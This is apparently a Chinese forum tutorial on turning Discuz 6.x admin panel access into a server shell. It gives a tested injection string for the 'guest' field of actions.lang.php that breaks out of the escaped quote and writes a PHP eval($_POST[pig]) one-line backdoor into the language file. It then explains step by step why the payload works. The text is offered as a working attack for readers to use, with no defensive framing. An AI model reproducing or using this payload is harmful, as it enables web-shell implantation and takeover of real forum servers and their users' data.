很多朋友有了discuz6.x后台,无法得到shell。除了0day等方法可以拿shell,就没别的办法了。网上也有很多但是大多不能用,所以我本机测试了,测试成功。
有颜色看的明白点
actions.lang.php <?php
// Action Pack for Discuz! Version 1.0.0 // Created by Crossday
$actioncode = array ( 0 => '回到论坛',
1 => '浏览论坛首页', 2 => '浏览论坛版块', 省略...
255 => '提示信息/页面跳转' );
$language = array ( 'guest' => '游客' ); ?> |
在游客地方可以得到,网上很多方法都是这里的,基本都不能成功,所以我们来想办法,'游客'其实很简单, 只要能绕过,游客' 逗号就可以了。方法有很多,我最终得到一个最简单最实用的code。
小猪\\');eval($_POST[pig])?>;//
下面来说下为什么
<?php
// Action Pack for Discuz! Version 1.0.0 // Created by Crossday
$actioncode = array ( 0 => '回到论坛',
1 => '浏览论坛首页', 省略...);
$language = array ( 'guest' => '小猪\\');eval($ _POST[pig])?>;//');?> |
一 '小猪\\'这个变成了刚才的'游客'
因为discuz官方把'都过滤了,'会转义成\'这个叫转义字符,有兴趣的朋友可以去学习下。
二 //');?> //这个注释掉了');?>
php语言里面//是注释的的意思,后面的语句不起任何作用,只是为了注释。
eval($_POST[pig])?>这个和代码开头的。
成功得到一句话后门
呵呵...很简单
图片如下
图一
图二
|